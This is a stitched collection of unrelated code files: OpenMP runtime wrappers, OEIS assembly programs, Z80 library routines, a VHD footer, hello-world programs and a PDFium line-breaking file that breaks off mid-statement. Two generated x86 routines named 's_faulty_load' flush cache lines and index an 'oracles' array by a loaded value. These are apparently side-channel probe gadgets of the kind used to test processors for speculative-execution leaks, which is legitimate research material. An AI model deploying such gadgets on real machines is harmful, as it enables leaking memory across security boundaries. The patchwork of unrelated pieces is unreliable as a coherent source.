Distribute Parallel Loop construct implementation // Transfer call to template< type T > // __kmp_team_static_init( ident_t *loc, int gtid, // int *p_last, T *lb, T *ub, ST *st, ST incr, ST chunk ) /*! @ingroup WORK_SHARING @{ @param loc Source location @param gtid Global thread id @param p_last pointer to last iteration flag @param p_lb pointer to Lower bound @param p_ub pointer to Upper bound @param p_st Step (or increment if you prefer) @param incr Loop increment @param chunk The chunk size to block with The functions compute the upper and lower bounds and stride to be used for the set of iterations to be executed by the current team from the statically scheduled loop that is described by the initial values of the bounds, stride, increment and chunk for the distribute construct as part of composite distribute parallel loop construct. These functions are all identical apart from the types of the arguments. */ void __kmpc_team_static_init_4( ident_t *loc, kmp_int32 gtid, kmp_int32 *p_last, kmp_int32 *p_lb, kmp_int32 *p_ub, kmp_int32 *p_st, kmp_int32 incr, kmp_int32 chunk ) { KMP_DEBUG_ASSERT( __kmp_init_serial ); __kmp_team_static_init< kmp_int32 >( loc, gtid, p_last, p_lb, p_ub, p_st, incr, chunk ); } /*! See @ref __kmpc_team_static_init_4 */ void __kmpc_team_static_init_4u( ident_t *loc, kmp_int32 gtid, kmp_int32 *p_last, kmp_uint32 *p_lb, kmp_uint32 *p_ub, kmp_int32 *p_st, kmp_int32 incr, kmp_int32 chunk ) { KMP_DEBUG_ASSERT( __kmp_init_serial ); __kmp_team_static_init< kmp_uint32 >( loc, gtid, p_last, p_lb, p_ub, p_st, incr, chunk ); } /*! See @ref __kmpc_team_static_init_4 */ void __kmpc_team_static_init_8( ident_t *loc, kmp_int32 gtid, kmp_int32 *p_last, kmp_int64 *p_lb, kmp_int64 *p_ub, kmp_int64 *p_st, kmp_int64 incr, kmp_int64 chunk ) { KMP_DEBUG_ASSERT( __kmp_init_serial ); __kmp_team_static_init< kmp_int64 >( loc, gtid, p_last, p_lb, p_ub, p_st, incr, chunk ); } /*! See @ref __kmpc_team_static_init_4 */ void __kmpc_team_static_init_8u( ident_t *loc, kmp_int32 gtid, kmp_int32 *p_last, kmp_uint64 *p_lb, kmp_uint64 *p_ub, kmp_int64 *p_st, kmp_int64 incr, kmp_int64 chunk ) { KMP_DEBUG_ASSERT( __kmp_init_serial ); __kmp_team_static_init< kmp_uint64 >( loc, gtid, p_last, p_lb, p_ub, p_st, incr, chunk ); } /*! @} */ } // extern "C"
; A017437: a(n) = 11*n + 4. ; 4,15,26,37,48,59,70,81,92,103,114,125,136,147,158,169,180,191,202,213,224,235,246,257,268,279,290,301,312,323,334,345,356,367,378,389,400,411,422,433,444,455,466,477,488,499,510,521,532,543,554,565,576,587,598,609,620,631,642,653,664,675,686,697,708,719,730,741,752,763,774,785,796,807,818,829,840,851,862,873,884,895,906,917,928,939,950,961,972,983,994,1005,1016,1027,1038,1049,1060,1071,1082,1093,1104,1115,1126,1137,1148,1159,1170,1181,1192,1203,1214,1225,1236,1247,1258,1269,1280,1291,1302,1313,1324,1335,1346,1357,1368,1379,1390,1401,1412,1423,1434,1445,1456,1467,1478,1489,1500,1511,1522,1533,1544,1555,1566,1577,1588,1599,1610,1621,1632,1643,1654,1665,1676,1687,1698,1709,1720,1731,1742,1753,1764,1775,1786,1797,1808,1819,1830,1841,1852,1863,1874,1885,1896,1907,1918,1929,1940,1951,1962,1973,1984,1995,2006,2017,2028,2039,2050,2061,2072,2083,2094,2105,2116,2127,2138,2149,2160,2171,2182,2193,2204,2215,2226,2237,2248,2259,2270,2281,2292,2303,2314,2325,2336,2347,2358,2369,2380,2391,2402,2413,2424,2435,2446,2457,2468,2479,2490,2501,2512,2523,2534,2545,2556,2567,2578,2589,2600,2611,2622,2633,2644,2655,2666,2677,2688,2699,2710,2721,2732,2743 mov $1,$0 mul $1,11 add $1,4
; void clearerr_fastcall(FILE *stream) INCLUDE "config_private.inc" SECTION code_clib SECTION code_stdio ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $02 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC _clearerr_fastcall EXTERN asm_clearerr _clearerr_fastcall: push hl ex (sp),ix call asm_clearerr pop ix ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ELSE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC _clearerr_fastcall EXTERN _clearerr_unlocked_fastcall defc _clearerr_fastcall = _clearerr_unlocked_fastcall ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;============================================================= ;; vhd_footer: ;; VHD FOOTER. ;; ;VHD_FEATURES EQU 0 ;features ;VHD_FILE_FORMAT_VERSION EQU 0x00001000 ;file format version ;VHD_CREATOR_APP EQU 0x61766D6A ;;0x6A,0x6D,0x76,0x61 ;creator app ;VHD_PLATFORM_VERSION EQU 0x0A000400 ;VHD_PLATFORM_CODE_WI2R EQU 0x57693272 ;WI2R ;VHD_PLATFORM_CODE_WI2K EQU 0x5769326B ;WI2K ;VHD_PLATFORM_CODE_W2RU EQU 0x57327275 ;W2RU ;VHD_PLATFORM_CODE_W2KU EQU 0x57326B75 ;W2KU ;VHD_PLATFORM_CODE_NONE EQU 0 ;NONE ;VHD_PLATFORM_CODE_MAC EQU 0x4D163220 ;MAC ;VHD_PLATFORM_CODE_MACX EQU 0x4D163258 ;MACX ;VHD_PLATFORM_TEST EQU 0x6B326957 ;já funcionou. ;VHD_PLATFORM EQU VHD_PLATFORM_TEST ;VHD_ORIGINAL_SIZE_PART1 EQU 0 ;VHD_ORIGINAL_SIZE_PART2 EQU 0x00000001 ;16MB ;VHD_ORIGINAL_SIZE_PART2 EQU 0x00000002 ;32MB ;VHD_CURRENT_SIZE_PART1 EQU 0 ;VHD_CURRENT_SIZE_PART2 EQU 0x00000001 ;16MB ;VHD_CURRENT_SIZE_PART2 EQU 0x00000002 ;32MB ;VHD_FOOTER_DISK_GEOMETRY_CYLINDER EQU 0xC303 ;*49923 ;VHD_FOOTER_DISK_GEOMETRY_HEADS EQU 4 ;*4 ;VHD_FOOTER_DISK_GEOMETRY_SECTORS EQU 0x11 ;*17 ;VHD_FOOTER_DISK_TYPE EQU 2 ;FIXED 0x02000000 ;VHD_FOOTER_DISK_TYPE EQU 3 ;DYNAMIC ;VHD_FOOTER_DISK_TYPE EQU 4 ;DIFFERENCING ;VHD_FOOTER_CHECKSUM EQU 0xDBE6FFFF ;vhdSize=32MB partitionSize=8 ;VHD_FOOTER_CHECKSUM EQU 0xDBE6FFFF ;vhdSize=32MB partitionSize=16 ;VHD_FOOTER_CHECKSUM EQU 0xD0E8FFFF ;vhdSize=32MB partitionSize=16 ;VHD_FOOTER_CHECKSUM EQU 0xC2E7FFFF ;funcionou com vhdsize=32MB patitionSize=32MB. ;;... ;; History: ;; 2016 - Created by Fred Nora. vhd_footer: ;; .cookie: db 'conectix' .features: dd 0 .version: dd 0x00001000 .dataOffset: dd 0xFFFFFFFF, 0xFFFFFFFF .timeStamp: dd 0x5868091E .creatorApp: db 0x6A, 0x6D, 0x76, 0x61 .creatorVersion: dd 0x0A000400 ;;Windows 0x5769326B (Wi2k) .creatorOS: dd 0x6B326957 ;; Original Size ;; This field stores the size of the hard disk in bytes, ;; from the perspective of the virtual machine, at creation time. ;; This field is for informational purposes. ;bytes.: 8,589,934,592.0 Bytes (B) = 8,192.0 Megabytes (MB) .originalSyze: dd 0, 0x00000002 ;; Current Size ;; This field stores the current size of the hard disk, in bytes, ;; from the perspective of the virtual machine. ;; This value is same as the original size when the hard disk is created. ;; This value can change depending on whether the hard disk is expanded. ;bytes. 8,589,934,592.0 Bytes (B) = 8,192.0 Megabytes (MB) .currentSyze: dd 0, 0x00000002 .diskGeometry: dw 0xC303 ;# Cylinders. db 4 ;# Heads. db 0x11 ;# Sectors. .diskType: dd 0x02000000 ;fixed. .chechsum: dd 0xC2E7FFFF .uniqueID: db 0x11, 0x80, 0xF2, 0x62 db 0xD4, 0x95, 0x65, 0x44 db 0x69, 0x69, 0x69, 0x69 db 0x69, 0x69, 0x69, 0x69 .savedState: db 0 .reserved: ; Padded to 512 bytes? times 427 db 0
section .data msg db "Hello world!",10 section .text global _start _start: mov rax,1 ;syscall for sys_write in 64bit systemls mov rdi,1 ;sys_write file descriptor for standard output [STDOUT] mov rsi,msg ;message to be written mov rdx,12 ;len of string to write syscall mov rax,60 ;syscall for sys_exit mov rdi,0 ;exit status syscall
; ; Print a character for the ZX/TS2068 screen ; MODULE generic_console_printc SECTION code_clib PUBLIC generic_console_printc PUBLIC generic_console_calc_screen_addr EXTERN __zx_console_attr EXTERN __zx_32col_udgs EXTERN __zx_32col_font EXTERN __zx_64col_font EXTERN __console_w EXTERN generic_console_flags EXTERN __ts2068_hrgmode ; Entry: ; a = charcter ; hl = expect_flags handle_controls: ; Extra codes cp 18 ld d,1 jr z,start_code ld d,2 cp 19 jr z,start_code ld d,16 cp 1 jr z,start_code cp 2 ret nz ld d,12 start_code: ld a,(hl) or d ld (hl),a ret set_flash: res 0,(hl) ld hl,__zx_console_attr res 7,(hl) rrca ret nc set 7,(hl) ret set_bright: res 1,(hl) ld hl,__zx_console_attr res 6,(hl) rrca ret nc set 6,(hl) ret set_switch: res 4,(hl) ld hl,print32 cp 64 ld de,$4020 jr nz,set_switch1 ld hl,print64 ld de,$8040 set_switch1: ld (print_routine),hl IF FORts2068 ld a,(__ts2068_hrgmode) cp 6 ld a,d jr z,set_width ENDIF ld a,e set_width: ld (__console_w),a ret set_font_hi: res 2,(hl) ld (__zx_32col_font+1),a ret set_font_lo: res 3,(hl) ld (__zx_32col_font),a ret ; c = x ; b = y ; a = d character to print ; e = raw generic_console_printc: rl e jr c,skip_control_codes ld hl,expect_flags bit 0,(hl) jr nz,set_flash bit 1,(hl) jr nz,set_bright bit 2,(hl) jr nz,set_font_hi bit 3,(hl) jr nz,set_font_lo bit 4,(hl) jr nz,set_switch cp 32 jr c,handle_controls skip_control_codes: ld hl,(print_routine) jp (hl) print32: call generic_console_calc_screen_addr ; hl = screen address, d preserved ex de,hl ld bc,(__zx_32col_font) dec b bit 7,h jr z,handle_characters ld bc,(__zx_32col_udgs) res 7,h handle_characters: ld l,h ld h,0 add hl,hl add hl,hl add hl,hl add hl,bc ld a,(generic_console_flags) rlca sbc a,a ; ; c = 0/ c = 255 ld c,a ld b,8 print32_loop: ld a,(hl) xor c ld (de),a inc d inc hl djnz print32_loop handle_attributes: dec d call get_attribute_address ret z ;No attributes ld a,(__zx_console_attr) ld (de),a ret get_attribute_address: IF FORts2068 ld a,d and @0100000 ld l,a ld a,(__ts2068_hrgmode) cp 6 ret z cp 2 jr nz,not_hi_colour set 5,d ld a,(__zx_console_attr) ld b,7 hires_set_attr: ld (de),a dec d djnz hires_set_attr ret not_hi_colour: ENDIF ld a,d rrca rrca rrca and 3 or 88 IF FORts2068 or l ;Add in screen 1 bit ENDIF ld d,a ret print64: srl c ; divide by 2 ex af,af ; save the lowest bit call generic_console_calc_screen_addr ex de,hl ; de = screen address ex af,af ld a,0x0f jr c,not_even_column ld a,0xf0 not_even_column: ; h = character ; de = screen address ; a = screen mask ld l,h ld h,0 add hl,hl add hl,hl add hl,hl ld bc,(__zx_64col_font) dec b add hl,bc ld b,8 ld c,a ex de,hl print64_loop: ld a,c cpl and (hl) ld (hl),a ld a,(generic_console_flags) rlca ld a,(de) jr nc,print64_noinverse cpl print64_noinverse: and c or (hl) ld (hl),a inc h inc de djnz print64_loop ex de,hl jr handle_attributes ; Calculate screen address ; Entry: c = x (0...31) or (0...63 for ts2068/hrgmode) ; b = y ; Exit: hl = screen address generic_console_calc_screen_addr: IF FORts2068 bit 0,c push af ld a,(__ts2068_hrgmode) cp 6 jr nz,not_hrgmode srl c not_hrgmode: ENDIF ld a,b rrca rrca rrca and 248 or c ld l,a ld a,b and 0x18 or 0x40 ld h,a IF FORts2068 ld a,(__ts2068_hrgmode) and a jr z,dont_use_screen_1 cp 1 ;screen 1 jr z,use_screen_1 cp 2 ;high colour jr z,dont_use_screen_1 ; So we're in hires mode pop af ret z ;Even column no need for it calc_screen1_offset: set 5,h ret use_screen_1: pop af jr calc_screen1_offset dont_use_screen_1: pop af ENDIF ret SECTION bss_clib expect_flags: defb 0 ; bit 0 - expect flash ; bit 1 - expect bright ; bit 2 - expect font low ; bit 3 - expect font high ; bit 4 - expect switch SECTION data_clib print_routine: defw print64
INCLUDE "graphics/grafix.inc" SECTION code_clib PUBLIC getmaxy PUBLIC _getmaxy EXTERN __spc1000_mode .getmaxy ._getmaxy ld a,(__spc1000_mode) and a ld hl, 32 - 1 ret z ld hl, 191 ret
# Si scriva codice assembly che: # chieda all’utente di inserire un intero (messaggio su terminale); # acquisisca un intero da terminale; # calcoli l’intero successivo; # mostri all’utente il risultato (messaggio su terminale). .data str: .asciiz "Inserisci un intero: " end: .asciiz "L'intero successivo è: " .text .globl main main: la $a0, str li $v0, 4 syscall li $v0, 5 syscall move $s0, $v0 addi $s0, $s0, 1 la $a0, end li $v0, 4 syscall move $a0, $s0 li $v0, 1 syscall
; A070638: a(n) = n^6 mod 15. ; 0,1,4,9,1,10,6,4,4,6,10,1,9,4,1,0,1,4,9,1,10,6,4,4,6,10,1,9,4,1,0,1,4,9,1,10,6,4,4,6,10,1,9,4,1,0,1,4,9,1,10,6,4,4,6,10,1,9,4,1,0,1,4,9,1,10,6,4,4,6,10,1,9,4,1,0,1,4,9,1,10,6,4,4,6,10,1,9,4,1,0,1,4,9,1,10,6 pow $0,2 mod $0,15
XLIB set_bkg_map INCLUDE "sms/sms.hdr" LIB DrawOneLine ;============================================================== ; void set_bkg_map(unsigned int *data, int x, int y, int w, int h) ;============================================================== ; Sets the attributes of a rectangular region of SMS's bkg map ; ** no validations are made ** ;============================================================== .set_bkg_map ld hl, 2 add hl, sp ld b, (hl) ; Height inc hl inc hl ld c, (hl) ; Width inc hl inc hl ld d, (hl) ; Y inc hl inc hl ld e, (hl) ; X inc hl inc hl ld a, (hl) inc hl ld h, (hl) ld l, a ; Data address ; Computes bkg map VRAM starting address push hl ld l, d ld h, 0 add hl, hl add hl, hl add hl, hl add hl, hl add hl, hl ; HL = Y*32 ld d, 0 add hl, de ; HL = (Y*32) + X add hl, hl ; HL = ((Y*32) + X) * 2 ld de, NameTableAddress add hl, de ld d, h ld e, l pop hl .lineloop push bc call DrawOneLine pop bc ; Calculates next VRAM addr ld a, e add 64 jp nc, notcarry inc d .notcarry ld e, a dec b jp nz, lineloop ; Loop until all lines are drawn ret
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x4822, %rdx nop nop nop nop xor %rsi, %rsi movl $0x61626364, (%rdx) nop nop nop nop and $45594, %r12 lea addresses_D_ht+0x9a22, %rsi nop add %r12, %r12 mov (%rsi), %ebx nop nop nop nop nop cmp %rdx, %rdx lea addresses_A_ht+0x12a82, %rsi lea addresses_D_ht+0x17522, %rdi inc %rdx mov $40, %rcx rep movsq nop cmp %rdi, %rdi lea addresses_A_ht+0x1b122, %rcx nop nop nop nop xor $54569, %r11 movups (%rcx), %xmm2 vpextrq $0, %xmm2, %rbx nop nop nop sub $6473, %rsi lea addresses_WT_ht+0x18eb2, %rsi nop add %rdx, %rdx mov (%rsi), %rbx nop nop dec %rdx lea addresses_UC_ht+0x1bc22, %rdi nop cmp $24002, %r11 mov (%rdi), %edx nop nop nop nop nop cmp %rbx, %rbx lea addresses_D_ht+0x14af2, %rdi nop nop nop and %rdx, %rdx mov (%rdi), %r11 nop nop nop nop nop xor %r11, %r11 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r9 push %rax push %rbp push %rcx push %rsi // Store mov $0x5fc2680000000166, %rsi nop nop inc %r12 movl $0x51525354, (%rsi) nop nop cmp %rbp, %rbp // Load lea addresses_RW+0x1ee22, %r14 clflush (%r14) cmp %r9, %r9 mov (%r14), %eax nop nop nop xor %rax, %rax // Faulty Load lea addresses_RW+0x1ee22, %rsi clflush (%rsi) nop nop nop nop nop add %r9, %r9 movups (%rsi), %xmm4 vpextrq $0, %xmm4, %rcx lea oracles, %rbp and $0xff, %rcx shlq $12, %rcx mov (%rbp,%rcx,1), %rcx pop %rsi pop %rcx pop %rbp pop %rax pop %r9 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_RW', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_NC', 'congruent': 2}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_RW', 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_RW', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 8}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 10}} {'dst': {'same': False, 'congruent': 7, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 3, 'type': 'addresses_A_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 8}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT_ht', 'congruent': 4}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC_ht', 'congruent': 9}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D_ht', 'congruent': 4}} {'32': 40} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
; float __fdiv_callee (float left, float right) SECTION code_clib SECTION code_fp_am9511 PUBLIC _am9511_fdiv_callee PUBLIC cam32_sdcc_fdiv_callee EXTERN cam32_sdcc_readr_callee, asm_am9511_fdiv_callee DEFC _am9511_fdiv_callee = cam32_sdcc_fdiv_callee .cam32_sdcc_fdiv_callee ; divide sdcc float by sdcc float ; ; enter : stack = sdcc_float right, sdcc_float left, ret ; ; exit : DEHL = sdcc_float(left/right) ; ; uses : af, bc, de, hl, af', bc', de', hl' call cam32_sdcc_readr_callee jp asm_am9511_fdiv_callee ; enter stack = sdcc_float left, ret ; DEHL = sdcc_float right ; return DEHL = sdcc_float
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r8 push %rax push %rbp push %rbx push %rcx // Store lea addresses_WT+0x9bc, %r8 sub %r13, %r13 movl $0x51525354, (%r8) cmp $60488, %rax // Store lea addresses_D+0x18edc, %rbp nop nop xor $16911, %rcx movb $0x51, (%rbp) nop nop nop dec %rbx // Store mov $0x660, %r8 nop sub %rax, %rax mov $0x5152535455565758, %r13 movq %r13, %xmm2 vmovups %ymm2, (%r8) nop add $62058, %rcx // Store lea addresses_WC+0x1f15c, %rbp nop nop nop and $38929, %rcx mov $0x5152535455565758, %r8 movq %r8, %xmm6 vmovups %ymm6, (%rbp) nop and %rax, %rax // Store mov $0xe5c, %rbp nop nop nop nop inc %r13 movw $0x5152, (%rbp) nop nop nop nop sub $61565, %rbp // Store mov $0x624, %r13 nop nop and $17866, %rbx mov $0x5152535455565758, %rbp movq %rbp, %xmm7 movups %xmm7, (%r13) cmp %rbp, %rbp // Faulty Load lea addresses_WT+0x6a5c, %rbp nop cmp %rax, %rax mov (%rbp), %r14 lea oracles, %r13 and $0xff, %r14 shlq $12, %r14 mov (%r13,%r14,1), %r14 pop %rcx pop %rbx pop %rbp pop %rax pop %r8 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': True, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WT', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'00': 8} 00 00 00 00 00 00 00 00 */
// Copyright 2014 PDFium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // Original code copyright 2014 Foxit Software Inc. http://www.foxitsoftware.com #include "xfa/fgas/layout/cfx_txtbreak.h" #include <algorithm> #include "build/build_config.h" #include "core/fxcrt/fx_safe_types.h" #include "core/fxge/text_char_pos.h" #include "third_party/base/stl_util.h" #include "xfa/fgas/font/cfgas_gefont.h" #include "xfa/fgas/layout/cfx_char.h" #include "xfa/fgas/layout/fx_arabic.h" #include "xfa/fgas/layout/fx_linebreak.h" namespace { bool IsCtrlCode(wchar_t wch) { FX_CHARTYPE dwRet = FX_GetCharType(wch); return dwRet == FX_CHARTYPE::kTab || dwRet == FX_CHARTYPE::kControl; } } // namespace CFX_TxtBreak::CFX_TxtBreak() : CFX_Break(FX_LAYOUTSTYLE_None), m_iAlignment(CFX_TxtLineAlignment_Left), m_iCombWidth(360000) {} CFX_TxtBreak::~CFX_TxtBreak() = default; void CFX_TxtBreak::SetLineWidth(float fLineWidth) { m_iLineWidth = FXSYS_roundf(fLineWidth * kConversionFactor); ASSERT(m_iLineWidth >= 20000); } void CFX_TxtBreak::SetAlignment(int32_t iAlignment) { ASSERT(iAlignment >= CFX_TxtLineAlignment_Left); ASSERT(iAlignment <= CFX_TxtLineAlignment_Justified); m_iAlignment = iAlignment; } void CFX_TxtBreak::SetCombWidth(float fCombWidth) { m_iCombWidth = FXSYS_roundf(fCombWidth * kConversionFactor); } void CFX_TxtBreak::AppendChar_Combination(CFX_Char* pCurChar) { wchar_t wch = pCurChar->char_code(); wchar_t wForm; FX_SAFE_INT32 iCharWidth = 0; pCurChar->m_iCharWidth = -1; if (m_bCombText) { iCharWidth = m_iCombWidth; } else { wForm = wch; CFX_Char* pLastChar = GetLastChar(0, false, false); if (pLastChar && (pLastChar->m_dwCharStyles & FX_TXTCHARSTYLE_ArabicShadda) == 0) { bool bShadda = false; if (wch == 0x0651) { wchar_t wLast = pLastChar->char_code(); if (wLast >= 0x064C && wLast <= 0x0650) { wForm = FX_GetArabicFromShaddaTable(wLast); bShadda = true; } } else if (wch >= 0x064C && wch <= 0x0650) { if (pLastChar->char_code() == 0x0651) { wForm = FX_GetArabicFromShaddaTable(wch); bShadda = true; } } if (bShadda) { pLastChar->m_dwCharStyles |= FX_TXTCHARSTYLE_ArabicShadda; pLastChar->m_iCharWidth = 0; pCurChar->m_dwCharStyles |= FX_TXTCHARSTYLE_ArabicShadda; } } int32_t iCharWidthOut; if (m_pFont && m_pFont->GetCharWidth(wForm, &iCharWidthOut)) iCharWidth = iCharWidthOut; else iCharWidth = 0; iCharWidth *= m_iFontSize; iCharWidth *= m_iHorizontalScale; iCharWidth /= 100; } iCharWidth *= -1; pCurChar->m_iCharWidth = iCharWidth.ValueOrDefault(0); } void CFX_TxtBreak::AppendChar_Tab(CFX_Char* pCurChar) { m_eCharType = FX_CHARTYPE::kTab; } CFX_BreakType CFX_TxtBreak::AppendChar_Control(CFX_Char* pCurChar) { m_eCharType = FX_CHARTYPE::kControl; CFX_BreakType dwRet = CFX_BreakType::None; if (!m_bSingleLine) { wchar_t wch = pCurChar->char_code(); switch (wch) { case L'\v': case 0x2028: dwRet = CFX_BreakType::Line; break; case L'\f': dwRet = CFX_BreakType::Page; break; case 0x2029: dwRet = CFX_BreakType::Paragraph; break; default: if (wch == m_wParagraphBreakChar) dwRet = CFX_BreakType::Paragraph; break; } if (dwRet != CFX_BreakType::None) dwRet = EndBreak(dwRet); } return dwRet; } CFX_BreakType CFX_TxtBreak::AppendChar_Arabic(CFX_Char* pCurChar) { FX_CHARTYPE chartype = pCurChar->GetCharType(); int32_t& iLineWidth = m_pCurLine->m_iWidth; wchar_t wForm; CFX_Char* pLastChar = nullptr; bool bAlef = false; if (!m_bCombText && m_eCharType >= FX_CHARTYPE::kArabicAlef && m_eCharType <= FX_CHARTYPE::kArabicDistortion) { FX_SAFE_INT32 iCharWidth = 0; pLastChar = GetLastChar(1, true, false); if (pLastChar) { if (pLastChar->m_iCharWidth > 0) iLineWidth -= pLastChar->m_iCharWidth; iCharWidth = pLastChar->m_iCharWidth; CFX_Char* pPrevChar = GetLastChar(2, true, false); wForm = pdfium::arabic::GetFormChar(pLastChar, pPrevChar, pCurChar); bAlef = (wForm == 0xFEFF && pLastChar->GetCharType() == FX_CHARTYPE::kArabicAlef); if (m_pFont) { int32_t iCharWidthOut = 0; m_pFont->GetCharWidth(wForm, &iCharWidthOut); iCharWidth = iCharWidthOut; } if (wForm == 0xFEFF) iCharWidth = 0; iCharWidth *= m_iFontSize; iCharWidth *= m_iHorizontalScale; iCharWidth /= 100; int32_t iCharWidthValid = iCharWidth.ValueOrDefault(0); pLastChar->m_iCharWidth = iCharWidthValid; iLineWidth += iCharWidthValid; } } m_eCharType = chartype; wForm = pdfium::arabic::GetFormChar(pCurChar, bAlef ? nullptr : pLastChar, nullptr); FX_SAFE_INT32 iCharWidth = 0; if (m_bCombText) { iCharWidth = m_iCombWidth; } else { if (m_pFont) { int32_t iCharWidthOut = 0; m_pFont->GetCharWidth(wForm, &iCharWidthOut); iCharWidth = iCharWidthOut; } if (wForm == 0xFEFF) iCharWidth = 0; iCharWidth *= m_iFontSize; iCharWidth *= m_iHorizontalScale; iCharWidth /= 100; } int32_t iCharWidthValid = iCharWidth.ValueOrDefault(0); pCurChar->m_iCharWidth = iCharWidthValid; iLineWidth += iCharWidthValid; m_pCurLine->IncrementArabicCharCount(); if (!m_bSingleLine && IsGreaterThanLineWidth(iLineWidth)) return EndBreak(CFX_BreakType::Line); return CFX_BreakType::None; } CFX_BreakType CFX_TxtBreak::AppendChar_Others(CFX_Char* pCurChar) { FX_CHARTYPE chartype = pCurChar->GetCharType(); int32_t& iLineWidth = m_pCurLine->m_iWidth; FX_SAFE_INT32 iCharWidth = 0; m_eCharType = chartype; wchar_t wch = pCurChar->char_code(); wchar_t wForm = wch; if (m_bCombText) { iCharWidth = m_iCombWidth; } else { int32_t iCharWidthOut; if (m_pFont && m_pFont->GetCharWidth(wForm, &iCharWidthOut)) iCharWidth = iCharWidthOut; else iCharWidth = 0; iCharWidth *= m_iFontSize; iCharWidth *= m_iHorizontalScale; iCharWidth /= 100; } iCharWidth += m_iCharSpace; int32_t iCharWidthValid = iCharWidth.ValueOrDefault(0); pCurChar->m_iCharWidth = iCharWidthValid; iLineWidth += iCharWidthValid; if (!m_bSingleLine && chartype != FX_CHARTYPE::kSpace && IsGreaterThanLineWidth(iLineWidth)) { return EndBreak(CFX_BreakType::Line); } return CFX_BreakType::None; } CFX_BreakType CFX_TxtBreak::AppendChar(wchar_t wch) { FX_CHARTYPE chartype = FX_GetCharType(wch); m_pCurLine->m_LineChars.emplace_back(wch, m_iHorizontalScale, m_iVerticalScale); CFX_Char* pCurChar = &m_pCurLine->m_LineChars.back(); pCurChar->m_dwCharStyles = m_iAlignment | (1 << 8); CFX_BreakType dwRet1 = CFX_BreakType::None; if (chartype != FX_CHARTYPE::kCombination && GetUnifiedCharType(m_eCharType) != GetUnifiedCharType(chartype) && m_eCharType != FX_CHARTYPE::kUnknown && !m_bSingleLine && IsGreaterThanLineWidth(m_pCurLine->m_iWidth) && (m_eCharType != FX_CHARTYPE::kSpace || chartype != FX_CHARTYPE::kControl)) { dwRet1 = EndBreak(CFX_BreakType::Line); if (!m_pCurLine->m_LineChars.empty()) pCurChar = &m_pCurLine->m_LineChars.back(); } CFX_BreakType dwRet2 = CFX_BreakType::None; if (wch == m_wParagraphBreakChar) { // This is handled in AppendChar_Control, but it seems like \n and \r // don't get matched as control characters so we go into AppendChar_other // and never detect the new paragraph ... dwRet2 = CFX_BreakType::Paragraph; EndBreak(dwRet2); } else { switch (chartype) { case FX_CHARTYPE::kTab: AppendChar_Tab(pCurChar); break; case FX_CHARTYPE::kControl: dwRet2 = AppendChar_Control(pCurChar); break; case FX_CHARTYPE::kCombination: AppendChar_Combination(pCurChar); break; case FX_CHARTYPE::kArabicAlef: case FX_CHARTYPE::kArabicSpecial: case FX_CHARTYPE::kArabicDistortion: case FX_CHARTYPE::kArabicNormal: case FX_CHARTYPE::kArabicForm: case FX_CHARTYPE::kArabic: dwRet2 = AppendChar_Arabic(pCurChar); break; case FX_CHARTYPE::kUnknown: case FX_CHARTYPE::kSpace: case FX_CHARTYPE::kNumeric: case FX_CHARTYPE::kNormal: default: dwRet2 = 